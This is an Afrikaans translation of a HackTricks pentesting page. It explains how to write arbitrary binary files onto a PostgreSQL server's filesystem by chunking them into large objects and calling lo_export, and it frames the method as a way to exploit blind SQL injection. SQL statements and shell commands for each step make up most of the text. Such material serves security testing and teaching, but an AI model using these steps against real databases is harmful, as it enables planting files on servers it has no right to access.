Big Binary Files Upload (PostgreSQL)

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PostgreSQL Groot Voorwerpe

PostgreSQL bied 'n struktuur bekend as groot voorwerpe, toeganklik via die pg_largeobject-tabel, wat ontwerp is vir die stoor van groot datatipes, soos beelde of PDF-dokumente. Hierdie benadering is voordelig oor die COPY TO-funksie omdat dit die uitvoer van data terug na die lêersisteem moontlik maak, wat verseker dat 'n presiese replika van die oorspronklike lêer behoue bly.

Om 'n volledige lêer te stoor binne hierdie tabel, moet 'n voorwerp in die pg_largeobject-tabel geskep word (geïdentifiseer deur 'n LOID), gevolg deur die invoeging van datastukke, elk 2KB groot, in hierdie voorwerp. Dit is noodsaaklik dat hierdie stukke presies 2KB groot is (met die moontlike uitsondering van die laaste stuk) om te verseker dat die uitvoerfunksie korrek uitgevoer word.

Om jou binêre data te verdeel in 2KB-stukke, kan die volgende opdragte uitgevoer word:

split -b 2048 your_file # Creates 2KB sized files

Vir die enkodering van elke lêer na Base64 of Hex, kan die volgende opdragte gebruik word:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Belangrik: Wanneer jy hierdie proses outomatiseer, verseker dat jy stukke van 2KB duidelike teksbyte stuur. Hex-gekodeerde lêers sal 4KB data per stuk vereis as gevolg van die verdubbeling in grootte, terwyl Base64-gekodeerde lêers die formule ceil(n / 3) * 4 volg.

Die inhoud van die groot voorwerpe kan vir foutopsporing doeleindes besigtig word deur gebruik te maak van:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Gebruik van lo_creat & Base64

Om binêre data te stoor, word 'n LOID eerste geskep:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

In situasies waar presiese beheer vereis word, soos die uitbuiting van 'n Blinde SQL-injeksie, word lo_create verkies om 'n vaste LOID te spesifiseer.

Datastukke kan dan so ingevoeg word:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Om die groot voorwerp uit te voer en moontlik te verwyder na gebruik:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Gebruik van lo_import & Hex

Die lo_import-funksie kan gebruik word om 'n LOID vir 'n groot voorwerp te skep en spesifiseer:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Na die skep van die voorwerp, word data per bladsy ingevoeg, waarby elke brokkie nie meer as 2KB oorskry nie:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Om die proses te voltooi, word die data uitgevoer en die groot voorwerp word verwyder:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Beperkings

Dit word opgemerk dat groot voorwerpe ACL's (Toegangsbeheerlyste) kan hê, wat moontlik toegang beperk selfs tot voorwerpe wat deur jou gebruiker geskep is. Nietemin, ouer voorwerpe met inskiklike ACL's kan steeds toeganklik wees vir inhoudslekking.

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated